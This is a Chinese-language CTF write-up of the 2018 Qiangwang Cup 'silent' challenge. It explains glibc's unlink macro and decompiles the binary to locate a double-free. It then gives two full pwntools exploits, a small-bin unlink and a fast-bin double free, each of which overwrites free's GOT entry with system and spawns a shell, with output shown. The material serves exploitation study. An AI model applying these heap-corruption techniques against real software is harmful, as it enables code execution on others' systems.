强网杯silent以及double free

这个题目是2018强网杯线上赛的题目,题目在这里可以下载。可以使用两种方法来解决,一个是small bin的double free,一个是fast bin的double free。顺便总结一下这两个double free。

unlink操作

在前一篇文章里基本介绍了glibc的堆内存管理,但是没有深入分析chunk的释放过程,这里涉及到一个unlink宏,下面将详细说下当free一个chunk的时候,glibc具体进行了那些操作。

1:检查前一个chunk是否是free状态,这里根据被free chunk的size字段的P位进行判断,如果是free状态,则使用unlink宏将前一个free chunk从其对应的bin中取出来,和当前被free的chunk进行合并操作。
2:检查后一个chunk是否是free状态,这里根据后一个chunk的后一个chunk的size字段的P位进行判断,对于如何定位到next-next chunk,可以在当前chunk的地址上加上chunk的size进行定位。如果后一个chunk为free,则使用unlink操作,将其从对应bin中取出来,并与前面合并后的chunk进行合并操作。

这里的前一个chunk和后一个chunk指的是和被free chunk在物理内存相邻的chunk
这里的‘将free chunk从其对应的bin中取出来’指的是删除bin中的这个free chunk记录
下面我们具体看下unlink操作:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#define unlink(AV, P, BK, FD) {                                            \
FD = P->fd; \
BK = P->bk; \
if (__builtin_expect (FD->bk != P || BK->fd != P, 0)) \
malloc_printerr (check_action, "corrupted double-linked list", P, AV); \
else { \
FD->bk = BK; \
BK->fd = FD; \
if (!in_smallbin_range (chunksize_nomask (P)) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) { \
if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0) \
|| __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0)) \
malloc_printerr (check_action, \
"corrupted double-linked list (not small)", \
P, AV); \
if (FD->fd_nextsize == NULL) { \
if (P->fd_nextsize == P) \
FD->fd_nextsize = FD->bk_nextsize = FD; \
else { \
FD->fd_nextsize = P->fd_nextsize; \
FD->bk_nextsize = P->bk_nextsize; \
P->fd_nextsize->bk_nextsize = FD; \
P->bk_nextsize->fd_nextsize = FD; \
} \
} else { \
P->fd_nextsize->bk_nextsize = P->bk_nextsize; \
P->bk_nextsize->fd_nextsize = P->fd_nextsize; \
} \
} \
} \
}

主要关注前8行代码,P就是要被从bin中删除的free chunk记录,这里主要完成的功能就是将P的前一个free chunk的fd字段修改为P的fd字段,将P的后一个free chunk的bk字段修改为P的bk字段。
这里的前一个和后一个chunk是bin循环双链表中的前一个记录和后一个记录,物理上并不相邻,他们的前后关系是通过fd和bk指针来确定的
如果我们可以控制P的fd和bk字段,便可以实现任意地址读写。

small bin的double free

double free的关键步骤就是利用了unlink宏的操作,但是这里有一个限制,不仅仅需要知道P的值(也就是伪造chunk的地址),还必须知道P的地址,为什么呢?
因为在unlink宏代码的第4行,在进行解链操作之前,进行了一些检验,限制了前一个chunk的fd和后一个chunk的bk必须指向P。所以,当随意修改P的fd和bk之后,由于P的前一个和后一个chunk是由fd和bk确定的,会出现指不回来的情况,导致glibc报错。
为了绕过这个检测,必须要知道P的地址,也就是&P,这时便可以通过下面的方法进行绕过:
FD = P->fd = &P - 24 BK = P->bk = &P - 16
由于C语言结构体指针在取得成员的值时,仅仅以其头指针的地址加上偏移进行寻址
FD->bk = *(&P - 24 + 24) = P BK->fd = *(&P - 16 + 16) = P
进行解链操作之后,便有
FD->bk = P = &P - 16 BK->fd = P = &P - 24
这个时候,P就指向了自身所在位置减去24的地址处,如果可以对P进行一定区间的写入,便可以修改P自身的内容,让其指向任意的地方,这时便可以实现任意地址写。

反编译silent

首先对silent进行反编译,查看其主要功能和漏洞位置

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
主函数
void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
int v3; // [sp+4h] [bp-Ch]@2
__int64 v4; // [sp+8h] [bp-8h]@1

v4 = *MK_FP(__FS__, 40LL);
sub_40091C();
sub_4009A4();
while ( 1 )
{
__isoc99_scanf("%d", &v3);
getchar();
switch ( v3 )
{
case 2:
delete();
break;
case 3:
edit();
break;
case 1:
create();
break;
}
}
}

很简单的逻辑,主函数调用了三个函数,分别进行堆块的创建,编辑和删除。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
delete函数
signed __int64 delete()
{
signed __int64 result; // rax@3
__int64 v1; // rdx@5
int v2; // [sp+4h] [bp-Ch]@1
__int64 v3; // [sp+8h] [bp-8h]@1

v3 = *MK_FP(__FS__, 40LL);
__isoc99_scanf("%d", &v2);
getchar();
if ( v2 >= 0 && v2 <= 9 )
{
free((void *)s[v2]);
result = 0LL;
}
else
{
result = 0xFFFFFFFFLL;
}
v1 = *MK_FP(__FS__, 40LL) ^ v3;
return result;
}

在delete函数当中,对堆块进行free的时候,并未进行相关检查,会造成double free漏洞。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
create函数
__int64 create()
{
size_t size; // [sp+0h] [bp-20h]@1
unsigned __int64 i; // [sp+8h] [bp-18h]@1
void *v3; // [sp+10h] [bp-10h]@1
__int64 v4; // [sp+18h] [bp-8h]@1

v4 = *MK_FP(__FS__, 40LL);
__isoc99_scanf("%lu", &size);
getchar();
v3 = malloc(size);
write(v3, size);
for ( i = 0LL; i <= 9 && s[i]; ++i )
;
if ( i == 10 )
exit(0);
s[i] = v3;
return 0LL;
}

在create函数中,可以观察到每一次申请的堆块,其指针都会存储到一个数组s当中,这里便存在上面所说的&P。

利用过程

因此,利用思路就很简单了,下面一步步来进行说明。

1:首先申请两个大小一样的堆块,这里使用两个256字节大小的堆块

2:依次释放两个堆块,接着申请一个528字节的堆块,这里的528为两个堆块的大小加上第二个堆块的头部尺寸

3:在新申请的堆块上伪造两个堆块,位置和最开始申请的两个堆块一致,并设置第一个伪造堆块的fd为0x6020d8-0x18,bk为0x6020d8-0x10

4: free伪造的第二个堆块,便会触发第一个伪造堆块的unlink。这时便会将数组s的第四个元素设为0x6020c0,指向了第一个元素。当后续编辑第四个chunk的时候,也就是在编辑数组s。

exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
from pwn import *

p = process('./silent')

p.sendline('1')
p.sendline('256')
p.sendline('A'*255)

p.sendline('1')
p.sendline('256')
p.sendline('B'*255)

p.sendline('1')
p.sendline('256')
p.sendline('/bin/sh\x00'+'c'*(255-8))

p.sendline('2')
p.sendline('1')
p.sendline('2')
p.sendline('0')

p.sendline('1')
p.sendline('528')
p.sendline('\x00'*8+p64(0x101)+p64(0x6020d8-0x18)+p64(0x6020d8-0x10)+'A'*(256-32)+p64(0x100)+p64(0x110)+'B'*255)

p.sendline('2')
p.sendline('1')

#这里对数组s的第四个元素进行编辑,也就是对数组自身进行编辑,将第一个元素改写为free的got地址
p.sendline('3')
p.sendline('3')
p.sendline('\x18\x20\x60\x00')

#这里对第一个元素进行编辑,也就是对free函数的got表项进行编辑,让它的got表项值为system函数的地址
p.sendline('3')
p.sendline('0')
p.sendline('\x30\x07\x40\x00\x00\x00')

p.sendline('2')
p.sendline('2')

p.interactive()

1
2
3
4
5
6
7
8
pur3uit@pur3uit:~/ctf$ python exploit.py 
[+] Starting local process './silent': pid 5906
[*] Switching to interactive mode
cat: banner.txt: No such file or directory
$ ls
core exploit.py silent
$ whoami
pur3uit

成功getshell,这里没有开启aslr,所以内存地址都是直接硬编码进去的。

fast bin的double free

和small bin不同的是,fast bin的组织方式是单链表,每一次插入free chunk都是在头部插入,删除free chunk都是在头部删除,这个部分在堆管理文章中已经详细说明了。
用户申请一个fast chunk时,glibc在将fast bin的头节点返回给用户的同时,会将头节点的fd写入fastbinY数组当中,也就是将fd作为头节点。因此,这里的思路就是,利用double free在fast bin里面形成两个一样的free chunk,当第一次申请之后,在堆块的fd写入自己想要控制的地址,再次申请之后,fastbinY的数组当中就被写入了想要控制的地址。
可惜的是,fast bin在glibc 2.19版本之后,引入了一些安全检查。

两个安全检查

1:在执行分配操作时, 若块的大小符合Fast bin,则会在对应的bin中寻找是否有合适的块。此时glibc将根据候选块的size域计算出fastbin索引, 然后与对应bin在fastbin中的索引进行比较, 如果二者不匹配, 则说明块的size域遭到了破坏。
2:在执行释放操作时, 若块的大小符合Fast bin,则会检查对应的bin中的第一块是否为正在被释放的块, 这可以检测出连续两次释放同一块的问题。

绕过上述检查

对于第一个检查而言,为了获得合法的size,在修改堆块fd值的同时,需要保证fd的值加上8的地址处存放的值等于double free操作的chunk尺寸。
对于第二个检查而言,只需要在两个free之间free另一个同等大小的fast chunk,因为glibc只检查对应bin的头节点。
和small bin一样,最终目的还是需要获得对数组s的控制权,因此需要在数组s附近寻找一个合适的fd值,使其偏移8个字节处的值是一个合适的fastbin尺寸。
查看数组s附件的内存情况:

1
2
3
4
5
6
7
8
9
10
11
12
查看bss段的数据
pwndbg> x/20xg 0x602080
0x602080 <stdout>: 0x00007f30ecd4e600 0x0000000000000000
0x602090 <stdin>: 0x00007f30ecd4d8c0 0x0000000000000000
0x6020a0 <stderr>: 0x00007f30ecd4e520 0x0000000000000000
0x6020b0: 0x0000000000000000 0x0000000000000000
0x6020c0: 0x0000000000000000 0x0000000000000000
0x6020d0: 0x0000000000000000 0x0000000000000000
0x6020e0: 0x0000000000000000 0x0000000000000000
0x6020f0: 0x0000000000000000 0x0000000000000000
0x602100: 0x0000000000000000 0x0000000000000000
0x602110: 0x0000000000000000 0x0000000000000000

0x6020c0地址开始处是数组s,bss段开始位置处有一些初始化的值,可以利用这些值来充当size字段。
这里使用stderr地址处的7f作为size字段,它的地址为0x6020a5,减去8得到0x60209d,这个值就是要设置的fd值。

利用过程

1:首先连续申请三个96字节的chunk,第1个和第2个chunk用来执行double free操作,第3个chunk保存“/bin/sh”字符串。
2:按顺序释放第1个chunk,第2个chunk,第1个chunk。
3:再连续申请2个96字节的chunk,这时,对应bin中的头节点为第1个chunk。
4:修改第1个chunk的fd为0x60209d。
5:申请一个96字节的chunk,这时,对应bin中的头节点为0x60209d。
6:接着申请一个96字节的chunk,这时操控的内存区域就是0x60209d开始的内存区域,偏移16字节之后,便是对应chunk的用户数据区。也就是,在这里形成了一个伪造的chunk,并且可以对其进行写入。

exploit代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
import time
p = process('./silent')

p.sendline('1')
p.sendline('96')
p.sendline('0'*0x5f)
p.sendline()
time.sleep(1)

p.sendline('1')
p.sendline('96')
p.sendline('1'*0x5f)
p.sendline()
time.sleep(1)

p.sendline('1')
p.sendline('96')
p.sendline('/bin/sh\x00'+'2'*0x57)
p.sendline()
time.sleep(1)

p.sendline('2')
p.sendline('0')
p.sendline()
time.sleep(1)

p.sendline('2')
p.sendline('1')
p.sendline()
time.sleep(1)

p.sendline('2')
p.sendline('0')
p.sendline()
time.sleep(1)

p.sendline('1')
p.sendline('96')
p.sendline('A'*0x5f)
p.sendline()
time.sleep(1)

p.sendline('1')
p.sendline('96')
p.sendline('B'*0x5f)
p.sendline()
time.sleep(1)

p.sendline('3')
p.sendline('0')
p.sendline(p64(0x60209d))
p.sendline()
time.sleep(1)

p.sendline('1')
p.sendline('96')
p.sendline('C'*0x5f)
p.sendline()
time.sleep(1)

p.sendline('1')
p.sendline('96')
p.sendline('\x00'*0x13+p64(0x602018))
p.sendline()
time.sleep(1)

p.sendline('3')
p.sendline('0')
p.sendline(p64(0x400730))
p.sendline()
time.sleep(1)

p.sendline('2')
p.sendline('2')
p.interactive()

由于未知原因,pwntool每一次发送的数据会出现顺序错乱,所以每一个完整的操作完成之后,需要间隔1秒。
成功getshell

1
2
3
4
5
6
7
8
pur3uit@pur3uit:~/ctf$ python exp.py 
[+] Starting local process './silent': pid 3938
[*] Switching to interactive mode
cat: banner.txt: No such file or directory
$ ls
exploit.py exp.py silent
$ whoami
pur3uit

参考文献

Glibc堆利用的若干方法
Android中堆unlink利用学习